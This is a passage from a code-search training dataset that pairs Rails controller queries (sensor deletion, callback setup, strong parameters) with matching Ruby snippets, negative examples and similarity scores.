"def save\n @client.patch(@endpoint, :content=>@changed)\n return nil\n end",
"def update\n @energy = Energy.find(params[:id])\n\n respond_to do |format|\n if @energy.update_attributes(params[:energy])\n format.html { redirect_to @energy, notice: 'Energy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @energy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gauge = Gauge.find(params[:id])\n\n respond_to do |format|\n if @gauge.update_attributes(params[:gauge])\n format.html { redirect_to @gauge, notice: 'Gauge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gauge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rest.update(rest_params)\n format.html { redirect_to @rest, notice: 'Rest was successfully updated.' }\n format.json { render :show, status: :ok, location: @rest }\n else\n format.html { render :edit }\n format.json { render json: @rest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end"
] | [
"0.67329824",
"0.66567314",
"0.6640555",
"0.6640555",
"0.6473937",
"0.6281619",
"0.6217782",
"0.62018484",
"0.61912465",
"0.6167798",
"0.60664326",
"0.60059553",
"0.59864724",
"0.59725225",
"0.59129864",
"0.5882799",
"0.5859326",
"0.5824215",
"0.5821438",
"0.5820142",
"0.5800624",
"0.57969064",
"0.5787843",
"0.5779719",
"0.5773971",
"0.5773971",
"0.5728187",
"0.57069415",
"0.569034",
"0.5674323",
"0.5658105",
"0.56555545",
"0.563517",
"0.5630117",
"0.5623636",
"0.56217813",
"0.5621642",
"0.5606491",
"0.55893844",
"0.55754477",
"0.55732006",
"0.5573002",
"0.55708665",
"0.55699354",
"0.55674565",
"0.5558495",
"0.55447024",
"0.55388695",
"0.5535533",
"0.5535533",
"0.55337065",
"0.5525127",
"0.5521704",
"0.5520117",
"0.5516339",
"0.5511595",
"0.55077356",
"0.55075043",
"0.55030686",
"0.54963577",
"0.5493188",
"0.5491731",
"0.54902565",
"0.548968",
"0.54896677",
"0.5488966",
"0.5485343",
"0.54806376",
"0.54759425",
"0.54748124",
"0.54701424",
"0.54698247",
"0.5465315",
"0.5458924",
"0.5456917",
"0.54563797",
"0.5451001",
"0.5445275",
"0.5441503",
"0.5432385",
"0.5430729",
"0.5428278",
"0.542747",
"0.54271805",
"0.54271805",
"0.54199386",
"0.54189324",
"0.5404462",
"0.540277",
"0.5396505",
"0.5395742",
"0.5393024",
"0.5388243",
"0.53846204",
"0.5384093",
"0.5381262",
"0.5381262",
"0.5381262",
"0.5381262",
"0.5381262"
] | 0.5684759 | 29 |
DELETE /sensors/1 DELETE /sensors/1.json | def destroy
respond_to do |format|
if @sensor.user_id==current_user.id && @sensor.destroy
format.html { redirect_to sensors_url, notice: 'Sensore eliminato correttamente' }
format.json { head :no_content }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @sensor.destroy\n respond_to do |format|\n format.html { redirect_to sensors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sensor.destroy\n respond_to do |format|\n format.html { redirect_to sensors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sensor = Sensor.find(params[:id])\n @sensor.destroy\n\n head :no_content\n end",
"def destroy\n @sensor.destroy\n respond_to do |format|\n format.html { redirect_to sensors_url, notice: t(:sensor_destroyed) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @temperature_sensor = TemperatureSensor.find(params[:id])\n @temperature_sensor.destroy\n\n respond_to do |format|\n format.html { redirect_to temperature_sensors_url }\n format.json { head :ok }\n end\n end",
"def destroy\n sensor_module = @sensor.sensor_module\n @sensor.destroy\n respond_to do |format|\n flash[:success] = 'Sensor deleted'\n format.html { redirect_to sensor_module }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @sensor_data.destroy\n respond_to do |format|\n format.html { redirect_to sensor_data_url, notice: 'Sensor data was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t @sensor = Sensor.find(params[:sensor_id])\n\t @reading = Reading.find(params[:id])\n @reading.destroy\n\n respond_to do |format|\n format.html { redirect_to sensor_readings_path(@sensor) }\n format.xml { head :ok }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end",
"def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end",
"def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n destroy_and_redirect(@sensor_datum, sensor_data_url)\n end",
"def delete(uri, parameters)\n response = Unirest.delete uri, parameters: parameters\n response.body\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @device.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @sensor_event_action.destroy\n respond_to do |format|\n format.html { redirect_to sensor_event_actions_url, notice: 'Sensor event action was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def delete\n request(:delete)\n end",
"def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end",
"def destroy\n debug(\"#{self.class}::destroy\")\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n\n end\n\n\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n resourceType = \"storageservicelevel\"\n\n if(transport.http_delete_request(apiUri ,resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully deleted\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully deleted\"\n\t\t\tend\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} deletion failed\"\n\t\t else\n\t\t\t puts \" #{resourceType} deletion failed\"\n\t\t end\n end\n\nend",
"def delete(params = {})\n Client.current.delete(resource_url, params)\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def delete(path, params = {})\n debug_log \"DELETE #{@host}#{path} params:#{params}\"\n res = connection.delete path, params\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def delete\n api(\"Delete\")\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def destroy\n @storage_lun = StorageLun.find(params[:id])\n @storage_lun.destroy\n\n respond_to do |format|\n format.html { redirect_to storage_luns_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @accelerometer.destroy\n respond_to do |format|\n format.html { redirect_to accelerometers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mydevice = Mydevice.find(params[:id])\n @mydevice.destroy\n\n respond_to do |format|\n format.html { redirect_to mydevices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device = Device.find(params[:id])\n @device.destroy\n\n respond_to do |format|\n format.html { redirect_to devices_url }\n format.json { head :ok }\n end\n end",
"def delete(*rest) end",
"def destroy\n @device = Device.find(params[:id])\n @device.destroy\n\n respond_to do |format|\n format.html { redirect_to devices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device = Device.find(params[:id])\n @device.destroy\n\n respond_to do |format|\n format.html { redirect_to devices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device = Device.find(params[:id])\n @device.destroy\n\n respond_to do |format|\n format.html { redirect_to devices_url }\n format.json { head :no_content }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @device.destroy\n\n respond_to do |format|\n format.html { redirect_to devices_url }\n format.json { head :no_content }\n end\n end",
"def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end",
"def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end",
"def delete(path)\n request(:delete, path)\n end",
"def destroy\n @new_biosensor.destroy\n respond_to do |format|\n format.html { redirect_to new_biosensors_url, notice: 'New biosensor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device.destroy\n respond_to do |format|\n format.html { redirect_to devices_url }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @dbh_measurement.destroy\n respond_to do |format|\n format.html { redirect_to dbh_measurements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @standard_measurement = StandardMeasurement.find(params[:id])\n @standard_measurement.destroy\n\n respond_to do |format|\n format.html { redirect_to standard_measurements_url }\n format.json { head :no_content }\n end\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(*uris); end",
"def destroy\r\n @device = Device.find(params[:id])\r\n @device.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to devices_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @device.destroy\n head :no_content\n end",
"def delete(path, params)\n request(:delete, path, {})\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete(resource)\n headers = base_headers.merge('Content-Type' => 'application/json')\n url = \"#{@base_url}/#{resource}\"\n\n @logger.debug(\"DELETE request Url: #{url}\")\n @logger.debug(\"-- Headers: #{headers}\")\n\n x = HTTParty.delete(url, headers: headers)\n puts x.inspect\n x\n end",
"def destroy\n @rekamsensor.destroy\n respond_to do |format|\n format.html { redirect_to rekamsensors_url, notice: 'Rekamsensor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n if body.empty? && params[:id]\n client.delete(params)\n elsif body.empty?\n client.delete_by_query(params.merge(body: body.merge(ALL)))\n else\n client.delete_by_query(params.merge(body: body))\n end\n end",
"def destroy\n @storage_location = StorageLocation.find(params[:id])\n @storage_location.destroy\n\n respond_to do |format|\n format.html { redirect_to storage_locations_url }\n format.json { head :ok }\n end\n end",
"def destroy; delete end",
"def delete!\n request! :delete\n end",
"def destroy\n @k_measurement.destroy\n respond_to do |format|\n format.html { redirect_to k_measurements_url }\n format.json { head :no_content }\n end\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def destroy\n @temperature_humidity.destroy\n respond_to do |format|\n format.html { redirect_to temperature_humidities_url }\n format.json { head :no_content }\n end\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete\n delete_from_server single_url\n end",
"def delete(path, params = {})\n post(path, params.merge(\"_method\" => \"delete\"))\n end",
"def delete\n api_client.delete(url)\n end",
"def destroy\n @gauge = Gauge.find(params[:id])\n @gauge.destroy\n\n respond_to do |format|\n format.html { redirect_to gauges_url }\n format.json { head :no_content }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @hardware.destroy\n respond_to do |format|\n format.html { redirect_to hardware_index_url, notice: 'Hardware was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asteroid.destroy\n respond_to do |format|\n format.html { redirect_to asteroids_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n puts @iot_datum.count\n if @iot_datum.count > 0\n @deleted_rec = IotDatum.new\n @deleted_rec.workbench_number = @iot_datum.workbench_number\n @deleted_rec.part_number = @iot_datum.part_number\n @deleted_rec.target = @iot_datum.target\n @deleted_rec.lot_size = @iot_datum.lot_size\n @deleted_rec.employee_name = @iot_datum.employee_name\n @deleted_rec.shift = @iot_datum.shift\n @deleted_rec.device_id = @iot_datum.device_id\n @deleted_rec.count = @iot_datum.count\n @deleted_rec.status = 'Deleted'\n @deleted_rec.save!\n @iot_datum.destroy\n else\n @iot_datum.destroy\n end\n respond_to do |format|\n format.html { redirect_to iot_data_url, notice: 'Planner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @beacon = Beacon.find(params[:id])\n @beacon.destroy\n\n respond_to do |format|\n format.html { redirect_to beacons_url }\n format.json { head :no_content }\n end\n end",
"def delete(*args)\n request(:delete, *args)\n end",
"def destroy\n @energy_datum = EnergyDatum.find(params[:id])\n @energy_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to energy_data_url }\n format.json { head :no_content }\n end\n end",
"def delete\n super \"/templates/#{template_id}.json\", {}\n end",
"def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end"
] | [
"0.7253959",
"0.7253959",
"0.71814615",
"0.7080591",
"0.69224805",
"0.6913819",
"0.6844931",
"0.67355186",
"0.66197515",
"0.6551329",
"0.6526063",
"0.6498166",
"0.64602757",
"0.6410781",
"0.6408433",
"0.6394271",
"0.63749903",
"0.6360223",
"0.63569367",
"0.63564956",
"0.6344332",
"0.6344332",
"0.6344332",
"0.6344332",
"0.63410306",
"0.6303686",
"0.629448",
"0.62853074",
"0.6281907",
"0.626361",
"0.6260733",
"0.6248546",
"0.6240982",
"0.6229839",
"0.6229663",
"0.62105894",
"0.6208217",
"0.62016934",
"0.61763626",
"0.6173607",
"0.6165749",
"0.6165715",
"0.61614585",
"0.616058",
"0.6160048",
"0.6158843",
"0.6158363",
"0.6158363",
"0.6158363",
"0.6158087",
"0.6156038",
"0.61548346",
"0.6149971",
"0.6149971",
"0.6149826",
"0.61496985",
"0.61474925",
"0.6146698",
"0.6145333",
"0.6144103",
"0.61369616",
"0.61369616",
"0.61369616",
"0.61369616",
"0.61369616",
"0.61369616",
"0.61369616",
"0.61243165",
"0.61243165",
"0.61243165",
"0.61225694",
"0.610899",
"0.6107615",
"0.6101928",
"0.609962",
"0.6092403",
"0.6091499",
"0.60889095",
"0.608887",
"0.6086863",
"0.6086791",
"0.6084625",
"0.60822624",
"0.6080291",
"0.6079833",
"0.6077026",
"0.6077026",
"0.6075582",
"0.60682344",
"0.6064915",
"0.60631096",
"0.6044472",
"0.6041688",
"0.6039352",
"0.60368836",
"0.60317904",
"0.6031057",
"0.6030159",
"0.6026195",
"0.60261357"
] | 0.62617207 | 30 |
Use callbacks to share common setup or constraints between actions. | def set_sensor
@sensor = Sensor.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Only allow a list of trusted parameters through. | def sensor_params
params.require(:sensor).permit(:mac, :url, :tipo, :latitudine, :longitudine, :unit_misura, :public, :downtime_to_alarm, :last_firmware_update, :image)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
